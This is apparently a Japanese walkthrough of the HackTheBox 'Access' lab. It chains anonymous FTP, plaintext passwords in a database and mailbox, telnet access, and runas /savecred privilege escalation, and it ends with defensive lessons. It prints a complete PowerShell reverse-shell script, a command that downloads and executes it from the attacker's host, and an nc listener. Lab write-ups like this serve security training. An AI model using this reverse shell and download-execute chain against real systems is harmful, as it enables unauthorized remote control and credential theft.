HackTheBox: Access — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 23/telnet, 80/http
→
21/ftp, 23/telnet, 80/http
FTP匿名ログイン
backup.mdb / Access Control.zip
→
backup.mdb / Access Control.zip
mdb-export
engineer:access4u@security
→
engineer:access4u@security
zip解凍 + PST解析
security:4Cc3ssC0ntr0ller
→
security:4Cc3ssC0ntr0ller
Telnetログイン
user.txt ✓
→
user.txt ✓
cmdkey /list
Administrator savecred発見
→
Administrator savecred発見
runas /savecred悪用
PowerShellリバースシェル
→
PowerShellリバースシェル
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.197
RESULT
PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 21,23,80 10.129.84.197
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: PASV failed: 425 Cannot open data connection. 23/tcp open telnet Microsoft Windows XP telnetd | telnet-ntlm-info: | Target_Name: ACCESS | NetBIOS_Domain_Name: ACCESS |_ Product_Version: 6.1.7600 80/tcp open http Microsoft IIS httpd 7.5 |_http-title: MegaCorp Service Info: OSs: Windows, Windows XP
🚨
重要発見: ポート21でFTP匿名ログインが許可されている。
ftp-anonは認証には成功しているが、PASVモードでのディレクトリ一覧取得は
425 Cannot open data connectionで失敗している — このHTB VPN環境ではPASVの
データコネクションが不安定な既知の現象で、手動ログイン後にリトライすれば通ることが多い。
PHASE 2
FTP匿名ログイン調査 — backup.mdb / Access Control.zip
FTPで匿名ログインしファイルを取得
BASH
ftp 10.129.84.197 # Name: anonymous / Password: (空でも可) ftp> ls ftp> cd Backups ftp> binary ftp> get backup.mdb ftp> cd ../Engineer ftp> get "Access Control.zip"
RESULT
220 Microsoft FTP Service 331 Anonymous access allowed, send identity (e-mail name) as password. 230 User logged in. --- /Backups --- backup.mdb --- /Engineer --- Access Control.zip Access Control.pdf ZKAccess3.5 Security System.lnk
⚠️
ハマりポイント(本検証でも実際に発生): このラボ環境ではPASV転送が
425 Cannot open data connectionで失敗することがある。対策は、
対話的 ftp クライアント内で passive と入力してPASVモードをオフにする
(アクティブモードへ切替)か、curl --ftp-port -でアクティブモードを明示するか、
単純に数回リトライする。wget -m ftp://anonymous:anonymous@TARGET/での
一括取得も同じ問題にぶつかりやすい点に注意。
backup.mdb から資格情報を抽出
BASH
# MDBツールセット(mdbtools)でAccessデータベースのテーブル一覧・内容を確認 mdb-tables backup.mdb mdb-export backup.mdb auth_user
RESULT
id,login,password
1,admin,admin
2,engineer,access4u@security
3,backup_admin,admin
✅
資格情報を獲得: engineer:access4u@security。
これはZKAccess(入退室管理システム)の監査ログ用データベース(ZKAccess3.5 Security Systemが
利用するもの)で、エンジニア用アカウントの平文パスワードがそのまま格納されていた。
Access Control.zip を解凍 → Outlook PST を取得
BASH
# zipはAES暗号化されており、backup.mdbから得たパスワードで解凍できる 7z x "Access Control.zip" -p'access4u@security'
RESULT
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Everything is Ok
Access Control.pst
ℹ️
backup.mdbから得たパスワードが、全く別の場所にあったzipファイルの
解凍パスワードとしてそのまま再利用されている点が、このマシンの重要な気付き
(同一パスワードの使い回しが侵入経路を繋いでいる)。
PST(Outlookメール)を解析 — 新しいパスワードの手掛かり
BASH
readpst -tea -m "Access Control.pst" cat "Access Control.mbox" | less
RESULT (抜粋)
Subject: Password Updated
Hi,
Per your request, the password for the 'security' account has been
changed to 4Cc3ssC0ntr0ller
Regards
✅
新たな資格情報を獲得: security:4Cc3ssC0ntr0ller。
メールボックス内の社内連絡メールに、パスワード変更の平文記録が残っていた。
PHASE 3
Telnetログイン → user.txt
security アカウントでTelnetログイン
BASH
telnet 10.129.84.197 # login: security # password: 4Cc3ssC0ntr0ller
RESULT
Welcome to Microsoft Telnet Service
login: security
password:
*===============================================
Microsoft Telnet Server.
*===============================================
C:\Users\security>whoami
access\security
✅
認証成功! このマシンでは21(FTP)→mdb→zip→PST→23(telnet)という、
複数のサービスを横断して1本のパスワードチェーンを繋ぐ設計になっている。
user.txt 取得
BASH
C:\Users\security>type C:\Users\security\Desktop\user.txt
RESULT
5013a7e080b19eb40a89e64c5a60e45c
user.txt — ACCESS\security
5013a7e080b19eb40a89e64c5a60e45c
PHASE 4
権限昇格の下調べ — cmdkey /list
保存済み資格情報の確認
BASH
C:\Users\security>cmdkey /list
RESULT
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
🚨
重大発見:
ZKAccess3.5 Security Systemのショートカットが
Administratorとしてrunas /savecredで起動する設定になっており、
そのログイン資格情報がWindows資格情報マネージャに暗号化保存されている。
/savecred付きで保存された資格情報は、同じユーザーアカウント(security)から
あらためてrunas /savecredで任意のコマンドをAdministrator権限で実行する
ために再利用できる(パスワードそのものを知らなくても実行できる)。
PHASE 5
runas /savecred 悪用 → root.txt
PowerShellリバースシェルの配信準備
PYTHON (admin.ps1)
$client = New-Object System.Net.Sockets.TCPClient("<KALI_IP>",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()
}
$client.Close()
BASH
# Kali側でadmin.ps1をホスト python3 -m http.server 8000 # 別ターミナルでリスナー起動 nc -lnvp 4444
Telnet経由で runas /savecred を実行
BASH
C:\Users\security>runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<KALI_IP>:8000/admin.ps1')"
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.84.197] 49180 PS C:\Windows\system32> whoami access\administrator
✅
権限昇格成功!
/savecred付きで保存された資格情報が存在する状態で
あらためてrunas /savecred /user:...を実行すると、保存済みパスワードを使って
パスワード入力なしに指定コマンドがその資格情報のユーザー(Administrator)として
実行される。
root.txt 取得
BASH
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
RESULT
2e532cf7b84a2e00c978cc51f78dd03d
root.txt — ACCESS\Administrator
2e532cf7b84a2e00c978cc51f78dd03d
参考: DPAPI/mimikatz経由の代替ルート
NOTE
/savecredで保存された資格情報は、DPAPIのマスターキーさえ復号できれば 平文パスワードそのものを取り出すことも可能(mimikatz dpapi::cred / dpapi::masterkeyコマンド等)。しかし/savecredが既にrunasでの実行権限を 与えてくれるため、このマシンではDPAPI復号までは不要であり、上記の runas直接実行だけでroot.txtに到達できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ACCESS\security
5013a7e080b19eb40a89e64c5a60e45c
root.txt — ACCESS\Administrator
2e532cf7b84a2e00c978cc51f78dd03d
使用した脆弱性・設定不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス | Microsoft ftpd (21/tcp) | 内部ファイルの漏洩 | High | 認証不要でバックアップMDB・暗号化zip・Outlook PSTを取得 |
| Accessデータベースの平文パスワード | backup.mdb (auth_user テーブル) | 資格情報漏洩 (engineer, admin, backup_admin) | Critical | mdb-exportで直接テーブル内容をダンプし平文パスワードを取得 |
| パスワードの使い回し | zipアーカイブの解凍パスワード | 暗号化zip内のPSTファイルへのアクセス | High | Accessデータベースのパスワードがzip解凍パスワードとしても使われていた |
| メール本文での平文パスワード通知 | Outlook PST内のメール | telnetログイン資格情報の漏洩 | Medium | readpstでPSTを解析し「パスワードを変更しました」メールから新パスワードを取得 |
| runas /savecred の悪用 | Windows資格情報マネージャ(cmdkey) | 権限昇格 (Administrator) | Critical | 保存済みAdministrator資格情報を使い、パスワード入力なしで任意コマンドをAdministrator権限で実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン + バージョンスキャン | 21/ftp, 23/telnet, 80/http(IIS7.5) |
| 2 | 初期ファイル取得 | FTP匿名ログイン | backup.mdb, Access Control.zip |
| 2 | 資格情報1 | mdb-export | engineer:access4u@security |
| 2 | 資格情報2 | 7z解凍 + readpst | security:4Cc3ssC0ntr0ller |
| 3 | 初期侵入 | Telnetログイン | user.txt 取得 |
| 4 | 権限調査 | cmdkey /list | ACCESS\Administrator の savecred を発見 |
| 5 | 権限昇格 | runas /savecred + PowerShellリバースシェル | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTPサーバーの匿名ログインが有効で機密ファイルが置かれている | FTP匿名アクセスを無効化し、必要な場合は認証付きSFTP等へ移行する。バックアップファイルを公開領域に置かない。 |
| データベース・アーカイブ・メールに平文パスワードが保存されている | パスワードを平文で保存・送信しない。データベースはハッシュ化、メールでの資格情報通知は避け、パスワード管理ツールを使う。 |
| 複数システム間でパスワードが使い回されている | システムごとに固有のパスワードを使用し、使い回しを禁止するパスワードポリシーを徹底する。 |
runas /savecredでAdministrator資格情報が保存されたまま残っている |
一般ユーザーのプロファイルにAdministrator権限の保存済み資格情報を残さない。必要な昇格操作はUAC経由または管理者本人が都度入力する運用にする。 |

